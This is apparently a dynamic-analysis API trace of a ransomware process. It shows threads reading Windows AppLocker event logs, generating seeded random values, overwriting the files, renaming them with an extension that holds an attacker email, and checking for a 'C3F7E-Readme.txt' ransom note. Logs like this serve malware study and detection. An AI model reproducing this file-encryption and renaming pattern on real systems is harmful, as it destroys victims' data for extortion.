	[0076.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddd750) returned 1
	[0076.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dd0f48) returned 1
	[0076.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x2d86ea8
	[0076.639] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.639] WriteFile (in: hFile=0x814, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x7f8fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x7f8fbd0*=0x14b, lpOverlapped=0x0) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86b98) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86ea8) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0076.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0076.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0076.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x2d5af20
	[0076.645] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx"
	[0076.645] wcscat (in: _Dest=0x2d5af20, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.645] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7f8fb88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7e888
	[0076.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e888) returned 1
	[0076.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0076.645] NtQueryInformationFile (in: FileHandle=0x814, IoStatusBlock=0x7f8fb94, FileInformation=0x7f8fb6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7f8fb94, FileInformation=0x7f8fb6c) returned 0x0
	[0076.645] NtSetInformationFile (FileHandle=0x814, IoStatusBlock=0x7f8fb94, FileInformation=0x7f8fb6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0076.646] FlushFileBuffers (hFile=0x814) returned 1
	[0076.649] CloseHandle (hObject=0x814) returned 1
	[0076.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70a00
	[0076.649] wcscpy (in: _Dest=0x2d70a00, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0076.650] wcscat (in: _Dest=0x2d70a00, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0076.650] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0076.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a00) returned 1
	[0076.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d52d60) returned 1

Thread:
	id = 131
	os_tid = 0xda0

	[0074.168] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0074.170] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", dwFileAttributes=0x20) returned 1
	[0074.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x818
	[0074.171] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x800fa80 | out: lpFileSize=0x800fa80*=69632) returned 1
	[0074.174] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.174] ReadFile (in: hFile=0x818, lpBuffer=0x800fa04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x800fa00, lpOverlapped=0x0 | out: lpBuffer=0x800fa04*, lpNumberOfBytesRead=0x800fa00*=0x4, lpOverlapped=0x0) returned 1
	[0074.178] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0074.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0074.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.178] NtQuerySystemTime (in: CurrentTime=0x800f9e0 | out: CurrentTime=0x800f9e0*=132251868009164569) returned 0x0
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xb35284c
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xb6cae3be
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x4c0ee22a
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x5b683ced
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xac9ea2d
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xa79a670b
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x125ac5ed
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x9476583f
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xa276bafd
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x4b621443
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x6316c174
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xe0331665
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x68dda878
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xaebf6c4a
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x5e9386f5
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x39e6f7f1
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xf8559a4c
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xeb3adcf1
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xc2d80216
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x23f7b888
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xcc70cd5f
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x425c5f2e
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xbf2bb74e
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xc870bae8
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xcb4daee8
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xf6d8be7a
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x186d9d47
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x7b9b4ea3
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xab969fe7
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xf388f334
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0x75767b6e
	[0074.178] RtlRandom (in: Seed=0x800f9ec | out: Seed=0x800f9ec) returned 0xfe5ccb15
	[0074.187] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.187] ReadFile (in: hFile=0x818, lpBuffer=0x2db7730, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x800f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesRead=0x800f9c0*=0xc800, lpOverlapped=0x0) returned 1
	[0074.188] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73b70
	[0074.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2dc4740
	[0074.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0074.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b70) returned 1
	[0074.192] WriteFile (in: hFile=0x818, lpBuffer=0x2dc4740*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x800f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2dc4740*, lpNumberOfBytesWritten=0x800f9c0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.629] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc4740) returned 1
	[0076.629] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7730) returned 1
	[0076.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e03fa0
	[0076.630] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.630] WriteFile (in: hFile=0x818, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x800fa40, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x800fa40*=0x151, lpOverlapped=0x0) returned 1
	[0076.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0076.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0076.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x2d5af20
	[0076.641] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx"
	[0076.641] wcscat (in: _Dest=0x2d5af20, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.641] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x800f9f8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70068
	[0076.642] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70068) returned 1
	[0076.642] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0076.642] NtQueryInformationFile (in: FileHandle=0x818, IoStatusBlock=0x800fa04, FileInformation=0x800f9dc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x800fa04, FileInformation=0x800f9dc) returned 0x0
	[0076.642] NtSetInformationFile (FileHandle=0x818, IoStatusBlock=0x800fa04, FileInformation=0x800f9dc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0076.643] FlushFileBuffers (hFile=0x818) returned 1
	[0076.646] CloseHandle (hObject=0x818) returned 1
	[0076.648] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70940
	[0076.648] wcscpy (in: _Dest=0x2d70940, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0076.648] wcscat (in: _Dest=0x2d70940, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0076.648] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0076.648] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70940) returned 1
	[0076.648] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60148) returned 1

Thread:
	id = 132
	os_tid = 0xe9c

	[0074.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0074.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", dwFileAttributes=0x20) returned 1
	[0074.192] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c
	[0074.193] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x808f94c | out: lpFileSize=0x808f94c*=69632) returned 1
	[0074.193] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.193] ReadFile (in: hFile=0x80c, lpBuffer=0x808f8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x808f8cc, lpOverlapped=0x0 | out: lpBuffer=0x808f8d0*, lpNumberOfBytesRead=0x808f8cc*=0x4, lpOverlapped=0x0) returned 1
	[0074.196] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0074.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0074.196] NtQuerySystemTime (in: CurrentTime=0x808f8ac | out: CurrentTime=0x808f8ac*=132251868009321002) returned 0x0
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x165b9bf
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x533bfe8b
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xea89a9be
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x8bbd7fd0
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x3faa1e13
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xf5de0d53
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x9590ec62
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x65061357
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xe9285a13
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xa82f790b
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x4c221e54
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x5eadc873
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x215432ba
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x7bd1194c
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xd846fe4c
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xf86e81fc
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x1d57fb8d
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x6720333
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x2027ed
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xf4c5b94b
	[0074.196] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xda4a89d9
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x273e0c67
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xe058333b
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x88d9d620
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xdf5c6bc1
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x92100d87
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x37201d98
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x40600c08
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x56c420c6
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0xe76066e5
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x2e57d939
	[0074.197] RtlRandom (in: Seed=0x808f8b8 | out: Seed=0x808f8b8) returned 0x24df4368
	[0074.206] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.206] ReadFile (in: hFile=0x80c, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x808f88c, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x808f88c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.207] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2df6760
	[0074.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0074.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.210] WriteFile (in: hFile=0x80c, lpBuffer=0x2df6760*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x808f88c, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesWritten=0x808f88c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0074.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2de9f58) returned 1
	[0074.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7f) returned 0x2d62fc8
	[0074.213] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.213] WriteFile (in: hFile=0x80c, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x163, lpNumberOfBytesWritten=0x808f90c, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x808f90c*=0x163, lpOverlapped=0x0) returned 1
	[0074.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c998) returned 1
	[0074.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62fc8) returned 1
	[0074.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0074.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0074.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0074.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d70068
	[0074.215] wcscpy (in: _Dest=0x2d70068, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx"
	[0074.215] wcscat (in: _Dest=0x2d70068, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.215] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x808f8c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x2d89540
	[0074.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89540) returned 1
	[0074.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.216] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x808f8d0, FileInformation=0x808f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x808f8d0, FileInformation=0x808f8a8) returned 0x0
	[0074.216] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x808f8d0, FileInformation=0x808f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70068) returned 1
	[0074.217] FlushFileBuffers (hFile=0x80c) returned 1
	[0074.230] CloseHandle (hObject=0x80c) returned 1
	[0074.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70cc0
	[0074.231] wcscpy (in: _Dest=0x2d70cc0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.231] wcscat (in: _Dest=0x2d70cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.231] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
